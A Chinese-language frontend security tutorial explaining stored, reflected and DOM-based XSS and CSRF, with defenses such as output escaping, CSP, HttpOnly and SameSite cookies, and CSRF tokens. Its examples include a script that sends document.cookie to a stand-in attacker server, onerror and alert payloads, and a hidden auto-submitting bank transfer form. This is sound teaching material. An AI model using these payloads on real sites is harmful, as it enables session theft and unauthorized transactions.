【前端安全】前端安全第一课:防止 XSS 和 CSRF 攻击的常见手法

【前端安全】前端安全第一课:防止 XSS 和 CSRF 攻击的常见手法

所属专栏: 《前端小技巧集合:让你的代码更优雅高效》
上一篇: 【性能指标】决战性能之巅:深入理解核心 Web 指标(Core Web Vitals)
作者: 码力无边


引言:在代码的"伊甸园"里,毒蛇从未远去

嘿,各位在数字世界里构筑梦想、守护用户的前端"守望者"们,我是码力无边

欢迎来到我们《前端小技巧集合》专栏的收官之作。在过去的 29 篇里,我们一起修炼了 CSS 的奇技淫巧,掌握了 JS 的骚操作,探索了 React 的性能奥秘,玩转了工程化的利器,也深入了性能优化的内核。我们的应用变得越来越强大、越来越快、越来越优雅。

我们仿佛在代码的世界里,建造了一座座繁华的"伊甸园"。用户在其中愉快地生活、分享、交易。一切看起来都那么美好。

但是,在这片看似宁静的"伊甸园"里,"毒蛇"------也就是网络攻击者------从未远去。他们潜伏在阴影之中,时刻寻找着我们代码中的"裂缝",试图窃取用户的"禁果"(敏感信息、账号权限),甚至摧毁我们辛辛苦苦建立起来的一切。

作为前端开发者,我们常常会有一种错觉:"安全,那是后端大佬们的事儿。我只是个画页面的,能有什么坏心思呢?"

这种想法,是极其危险的。在现代 Web 应用中,前端承载了越来越多的业务逻辑和用户交互,我们早已不是单纯的"视图层"。我们是守护用户数据安全的第一道,也是最后一道防线。一旦前端失守,即使用户密码再复杂、后端防火墙再坚固,也可能在瞬间土崩瓦解。

在前端面临的众多安全威胁中,有两个"古老"而又"致命"的幽灵,它们的名字如同魔咒一般,萦绕在每一位 Web 开发者的耳边:

  • XSS (Cross-Site Scripting)跨站脚本攻击 ------ 攻击者想方设法将恶意脚本 注入到你的网站中,让它在其他用户的浏览器里执行。
  • CSRF (Cross-Site Request Forgery)跨站请求伪造 ------ 攻击者诱导 已经登录的用户,在他们不知情 的情况下,向你的网站发送一个恶意的请求

今天,作为本专栏的收官之作,码力无边将化身"安全导师",带你深入这两大"上古魔头"的巢穴。我们将通过生动的故事和具体的代码示例,彻底剖析它们的攻击原理,并为你传授一套经过实战检验的前端防御"组合拳"。

这不仅是技术的探讨,更是一次安全意识的"觉醒"。让我们一起为我们的"伊甸园"筑起坚固的围墙,守护我们用户的安全与信任。

第一幕:XSS 的"借刀杀人"之术

XSS 的核心思想,就是"借你的网站,去攻击你的用户"。攻击者本身并不直接攻击用户,而是把你的网站变成一个"木马",一个能执行他预设好的恶意脚本的"平台"。

剧本设定:

  • :一个社交网站 my-social-site.com 的前端开发者。
  • 受害者 (Alice):你网站的忠实用户,已经登录。
  • 攻击者 (Mallory):一个心怀不轨的黑客。
类型一:存储型 XSS (Stored XSS) ------ 最恶毒的"慢性毒药"

这是最危险的一种 XSS 攻击。攻击者将恶意脚本存储 到了你的服务器数据库中。

攻击流程:

  1. "下毒" :你的网站有一个"评论"功能。Mallory 在评论框里,没有输入正常的评论,而是输入了一段精心构造的恶意脚本:

    html 复制代码
    <p>这篇文章写得太棒了!</p>
    <script>
      // 这段脚本会在每个看到这条评论的用户浏览器中执行
      // 比如,偷偷地把用户的 cookie 发送到攻击者的服务器
      const userCookie = document.cookie;
      fetch(`https://mallory-evil-server.com/steal?cookie=${userCookie}`);
    </script>
  2. "入库" :你后端没有对用户输入进行严格的过滤和转义,直接将这段包含 <script> 标签的 HTML 字符串存入了数据库。

  3. "传播" :无辜的用户 Alice 访问了这篇文章。你的前端代码从后端获取评论数据,然后不加处理地 ,通过 innerHTML 或 React 的 dangerouslySetInnerHTML 将其渲染到了页面上。

  4. "毒发" :当 Alice 的浏览器解析到 Mallory 留下的评论时,那段 <script> 标签被当成了正常的、可执行的 JavaScript 。于是,脚本执行,Alice 的 cookie(其中可能包含她的 session ID)神不知鬼不觉地被发送到了 Mallory 的服务器。

  5. "冒名顶替" :Mallory 拿到了 Alice 的 cookie,他就可以伪造成 Alice 的身份,登录你的网站,为所欲为。

存储型 XSS 的可怕之处在于,它像一种"慢性毒药",只要被注入一次,所有访问受感染页面的用户都会"中毒",影响范围极广。

类型二:反射型 XSS (Reflected XSS) ------ 狡猾的"钓鱼陷阱"

反射型 XSS 的恶意脚本不会被存储在服务器上。它通常作为 URL 的一部分,由攻击者"构造"出来,然后诱导用户去点击。

攻击流程:

  1. "制作鱼饵" :你的网站有一个搜索功能,URL 类似于 https://my-social-site.com/search?q=keyword。搜索结果页面会显示"您搜索的关键词是:keyword"。

  2. "藏毒于饵" :Mallory 发现,你的后端在显示搜索关键词时,也没有做转义。于是,他构造了一个恶意的 URL:

    复制代码
    https://my-social-site.com/search?q=<script>alert('你被攻击了!');</script>
  3. "钓鱼":Mallory 将这个经过 URL 编码后的链接,通过邮件、聊天软件等方式,伪装成一个"热门文章链接"、"中奖通知"等,发送给受害者 Alice,并诱导她点击。

  4. "毒发" :Alice 点击链接后,她的浏览器向你的服务器发送了请求。你的服务器从 URL 中提取出 q 参数的值(那段恶意脚本),然后不加处理地 把它"反射"回了 HTML 页面中,比如:

    html 复制代码
    <div>您搜索的关键词是:<script>alert('你被攻击了!');</script></div>

    Alice 的浏览器解析到这段 HTML,脚本被执行。虽然这个 alert 看起来无害,但 Mallory 完全可以把它换成和存储型 XSS 中一样的窃取 cookie 的脚本。

反射型 XSS 像一场"骗局",它需要用户的"配合"(点击恶意链接)才能成功。

类型三:DOM 型 XSS (DOM-based XSS) ------ 前端的"自我背叛"

DOM 型 XSS 是一个非常特殊的类型。它的注入和执行过程,完全发生在前端,服务器甚至可能毫不知情。

攻击流程:

  1. "前端的漏洞" :你的单页应用 (SPA) 中,有一段 JavaScript 代码,它会从 URL 的 hash (#) 中读取内容,并将其动态地渲染到页面上。

    javascript 复制代码
    // router.js
    window.addEventListener('hashchange', () => {
      const content = window.location.hash.slice(1); // 从 # 后面取值
      // 危险操作!
      document.getElementById('content').innerHTML = decodeURIComponent(content);
    });
  2. "制作鱼饵" :Mallory 构造了一个恶意 URL:

    复制代码
    https://my-social-site.com/#<img src=x onerror="alert('DOM XSS!')">
  3. "钓鱼":Mallory 同样诱导 Alice 点击这个链接。

  4. "毒发" :Alice 点击后,浏览器加载了你的网站。

    • 服务器视角 :服务器看到的 URL 是 https://my-social-site.com/,因为 # 后面的部分不会被发送到服务器。服务器返回了正常的、干净的 JS 文件。
    • 浏览器视角 :浏览器端的 router.js 开始执行。hashchange 事件(或初始加载)触发,它读取了 # 后面的恶意字符串 decodeURIComponent('<img src=x onerror="...">'),然后直接通过 innerHTML 把它写入了 DOM 。这个无效的 <img> 标签加载失败,触发了 onerror 事件,执行了 Mallory 的恶意脚本。

DOM 型 XSS 的隐蔽之处在于,它完全是前端代码的"自我背叛",传统的后端 WAF (Web 应用防火墙) 可能完全无法检测到它。

XSS 防御"组合拳"

防御 XSS 的核心原则是:永远不要相信用户的任何输入 (Never trust user input),并且对所有要输出到页面的内容进行严格的编码和转义。

第一拳:输入过滤 (Input Filtering) - "初筛"

虽然不是最可靠的防线,但在接收用户输入时,可以做一些基本的过滤。比如,限制用户名只能是字母和数字,过滤掉一些明显的危险字符。但这很容易被绕过,不能作为主要防御手段。

第二拳:输出编码/转义 (Output Encoding/Escaping) - "金钟罩"

这是最核心、最有效 的防御手段。它的思想是,将那些具有特殊含义的 HTML 字符(如 <, >, ", ', &)转换成它们的 HTML 实体编码。

字符 HTML 实体
< &lt;
> &gt;
" &quot;
' '&#39;
& &amp;

当浏览器解析到 &lt;script&gt; 时,它只会把它当成纯粹的文本"

  • 后端渲染:几乎所有的后端模板引擎(如 EJS, Pug, Jinja2)都默认开启了输出转义。你只需要确保没有手动关闭它。
  • 前端渲染
    • 使用现代框架 :React, Vue, Angular 等现代框架,当你使用它们的数据绑定语法(如 React 的 {},Vue 的 {``{}})时,它们会自动 为你进行输出转义。

      jsx 复制代码
      // React: 这是安全的!
      const userInput = "<script>alert('xss')</script>";
      return <div>{userInput}</div>; // 页面会显示字符串 "<script>alert('xss')</script>"
    • 避免危险操作永远、永远、永远 不要滥用 innerHTML, outerHTML 或 React 的 dangerouslySetInnerHTML。只有当你百分之百确定你插入的 HTML 内容是完全可信的(比如,来自你自己的、经过严格处理的富文本编辑器),才可以使用它们。

    • 手动转义 :如果你不得不在原生 JS 中操作,请使用成熟的库(如 dompurify)来清理和转义 HTML,或者至少自己实现一个简单的转义函数。

第三拳:内容安全策略 (Content Security Policy, CSP) - "白名单"

CSP 是一道强大的、由浏览器提供的附加安全层。它通过一个 HTTP 响应头 Content-Security-Policy,来告诉浏览器,我的网站只允许从哪些来源加载资源(脚本、样式、图片等)。

  • 一个严格的 CSP 策略示例

    http 复制代码
    Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.google.com;

    这个策略告诉浏览器:

    • 默认情况下,所有资源(图片、样式等)只能从我自己的域名 ('self') 加载。
    • 对于脚本,除了我自己的域名,我还信任 https://apis.google.com
  • CSP 如何防御 XSS?

    • 它能有效地阻止内联脚本 (<script>...</script>) 和内联事件处理器 (onclick="...") 的执行(除非你明确允许 unsafe-inline,但不推荐)。
    • 即使攻击者成功注入了 <script src="https://evil.com/xss.js"></script>,由于 evil.com 不在我们的 script-src 白名单里,浏览器会直接拒绝加载和执行这个脚本。

配置 CSP 是一项精细的工作,需要仔细规划你网站的所有资源来源,但它提供的防御效果是极其强大的。

第四拳:HTTPOnly Cookie - "釜底抽薪"

大多数 XSS 攻击的目标都是窃取 document.cookie。我们可以在设置 cookie 的 Set-Cookie 响应头中,添加 HttpOnly 标记。

http 复制代码
Set-Cookie: session_id=...; HttpOnly; Secure; SameSite=Strict

被标记为 HttpOnly 的 cookie,将无法 通过 JavaScript 的 document.cookie API 来访问。它只能由浏览器在发送 HTTP 请求时自动携带。这就从根本上断绝了 XSS 脚本窃取 session cookie 的念想。这是后端必须要做的一项关键配置。

第二幕:CSRF 的"移花接木"之术

CSRF 的核心思想,是"借你的身份,去办我的事"。攻击者自己什么也得不到,他的目标是利用你已经登录的身份,去执行一些非你本意的操作

剧本设定:

  • 你 (Alice) :一个网上银行 my-bank.com 的用户,你刚刚登录完,浏览器里存着你的登录凭证 (cookie)。
  • 你的银行 (my-bank.com) :它提供了一个转账功能,请求是这样的:
    POST /transfer?to=BOB&amount=100
  • 攻击者 (Mallory):他想把你的钱转走。
攻击流程:
  1. "设下陷阱" :Mallory 在他自己的恶意网站 evil.com 上,创建了一个看起来人畜无害的页面。这个页面上可能有一张可爱的猫咪图片,或者一个"点击抽奖"的按钮。

  2. "暗藏杀机" :在这个页面的 HTML 里,Mallory 隐藏了一个自动提交的表单

    html 复制代码
    <!-- evil.com/trap.html -->
    <h1>快来看可爱的小猫咪!</h1>
    <img src="cute-cat.jpg">
    
    <form id="csrf-form" action="https://my-bank.com/transfer" method="POST" style="display:none;">
      <input type="hidden" name="to" value="MALLORY">
      <input type="hidden" name="amount" value="10000">
    </form>
    
    <script>
      // 页面一加载,就自动提交这个隐藏的表单
      document.getElementById('csrf-form').submit();
    </script>
  3. "诱敌深入" :Mallory 通过各种手段,诱导你(Alice)在已经登录了网上银行 的情况下,访问他这个 evil.com 的陷阱页面。

  4. "借刀杀人"

    • 你一打开 evil.com,页面里的 JavaScript 就自动提交了那个隐藏的表单。
    • 这个表单的目标地址是 https://my-bank.com/transfer
    • 根据浏览器的同源策略,evil.com 的脚本无法读取my-bank.com 的 cookie。但是 ,浏览器在发送跨站请求时,如果 my-bank.com 的 cookie 没有设置 SameSite 属性或者设置得不够严格,浏览器会自动地、无条件地my-bank.com 域名下的 cookie 一起带上
    • my-bank.com 的服务器收到了这个 POST 请求。它看到了请求中携带着你(Alice)的有效 cookie,验证通过!它又看到了请求的 body 里有 to=MALLORYamount=10000。服务器认为这是 Alice 的一次正常转账操作,于是执行了转账。
    • 你的 10000 块钱,就这样在你欣赏猫咪图片的时候,被转走了。整个过程你毫不知情。

CSRF 的核心在于:攻击利用了浏览器会自动携带 cookie 的这个"特性",伪造了一个看起来像是用户自己发出的请求。

CSRF 防御"组合拳"

防御 CSRF 的核心原则是:确保一个敏感操作的请求,必须是由用户在我们的网站上、通过我们设计的 UI 主动发起的,而不是来自其他任何地方。

第一拳:SameSite Cookie 属性 - "釜底抽薪"

这是目前最有效、最根本 的防御手段。它通过在 Set-Cookie 响应头中设置 SameSite 属性,来告诉浏览器在跨站请求中,应该如何处理 cookie。

  • SameSite=Strict: 最严格 。浏览器在任何跨站请求中,都绝对不会 携带 cookie。比如,你从 Google 搜索结果中点击一个链接跳转到你的网站,这次跳转也被视为跨站,Strict 模式下连登录状态都会丢失。
  • SameSite=Lax: 默认值(在现代浏览器中) 。在一些被认为是"安全"的顶级导航 GET 请求中(比如点击链接跳转),浏览器会携带 cookie。但在不安全 的 HTTP 方法(如 POST, PUT, DELETE)的跨站请求中,以及通过 <img>, <iframe>, XHR/Fetch 等方式发起的跨站请求中,不会携带 cookie。
  • SameSite=None: 关闭 SameSite 限制。但必须同时指定 Secure 属性,即只在 HTTPS 连接中才发送 cookie。

如何防御?
将所有涉及认证的 cookie 都设置为 SameSite=LaxSameSite=Strict

对于我们上面的银行转账例子,由于它是一个 POST 请求,Lax 模式已经足以让浏览器拒绝携带 cookie,从而让 Mallory 的攻击失效。这是后端必须要做的一项关键配置。

第二拳:CSRF Token - "对上暗号"

SameSite 属性普及之前,CSRF Token 是最经典、最通用的防御方案。
流程:

  1. 当用户访问一个需要保护的页面(比如转账表单页面)时,服务器生成一个随机的、不可预测的、与当前用户会话绑定 的字符串,我们称之为 CSRF Token

  2. 服务器将这个 Token 同时下发到前端(比如,放在一个隐藏的 <input> 字段里)和存储在服务器端的 session 中。

    html 复制代码
    <form action="/transfer" method="POST">
      <input type="hidden" name="csrf_token" value="a1b2c3d4-e5f6-...">
      <!-- ... other fields ... -->
    </form>
  3. 当用户提交表单时,这个 csrf_token 会随着表单一起被发送到后端。

  4. 后端收到请求后,会比较请求中的 tokensession 中存储的 token 是否一致。

    • 如果一致,说明请求合法,执行操作。
    • 如果不一致或不存在,说明请求可疑,拒绝执行。

为什么能防御?

攻击者 Mallory 在 evil.com 上,无法得知 这个随机生成的 csrf_token 是什么(受同源策略限制)。他伪造的表单里,要么没有这个字段,要么无法填入正确的值。因此,他伪造的请求,永远无法通过后端的"暗号"验证。

这个方案需要前后端配合实现,是 SameSite cookie 之外的一道坚固防线。

第三拳:检查 OriginReferer 请求头 - "查验来源"

浏览器在发送跨站请求时,通常会带上 Origin (对于 POST 等) 或 Referer (对于所有请求) 请求头,来表明这个请求是从哪个源头发起的。

  • Origin: https://evil.com
  • Referer: https://evil.com/trap.html

后端可以在处理敏感操作时,检查这两个请求头的值。如果发现来源不是自己信任的域名,就直接拒绝请求。

这种方法简单,但存在一些缺点:

  • 某些旧的浏览器或代理可能会不发送 Referer
  • Referer 头可能涉及用户隐私,用户或浏览器插件可能会禁用它。
  • Origin 头在某些情况下也可能不被发送。

因此,它可以作为一种辅助的防御手段,但不应作为唯一的防线。

终章:安全,是一场永恒的"攻防战"

XSS 和 CSRF,是 Web 安全领域永恒的话题。它们就像是隐藏在黑暗森林中的猎手,利用的是人性的弱点(好奇心、贪婪)和我们代码中不经意的疏忽。

作为前端开发者,我们不能再抱有"安全与我无关"的侥幸心理。我们手中的每一行代码,都可能成为守护用户的"盾牌",也可能成为刺向用户的"利刃"。

今天我们学习的防御"组合拳",总结起来就是:

  • 防御 XSS
    • 核心 :对所有输出到页面的内容进行编码转义
    • 助攻 :配置严格的 CSP ,使用 HttpOnly cookie。
  • 防御 CSRF
    • 核心 :使用 SameSite Cookie
    • 助攻 :实现 CSRF Token 校验,检查 Origin/Referer 头。

安全,不是一劳永逸的"银弹",而是一场持续的、动态的"攻防战"。它需要我们保持敬畏之心,建立起纵深防御的体系,将安全意识融入到我们编码的每一个环节。

这,是我们作为"守望者",对用户最基本的承诺,也是我们专业精神的终极体现。


专栏总结与互动:

历经三十篇的修行,我们的《前端小技巧集合》专栏也在此画上了一个圆满的句号。我们从 CSS 的奇技淫巧,到 JS 的异步与函数式,再到 React 的性能与设计模式,最后深入到工程化、调试、性能指标和安全等领域。希望这段旅程,能为你打开一扇扇新的大门,让你的前端"武库"变得更加充实。

感谢各位道友的一路陪伴!技术的道路永无止境,真正的修行,才刚刚开始。

最后,让我们来一场"毕业论道": 在你看来,除了我们今天讨论的 XSS 和 CSRF,现代前端开发者还应该重点关注哪些其他的安全威胁?比如点击劫持 (Clickjacking)、供应链攻击 (npm 包安全)、敏感信息泄露 (API Key 硬编码) 等。你认为哪一种在当下的前端生态中,威胁最大?在评论区留下你的思考,让我们一起为前端世界的安全未来,贡献最后一份力量!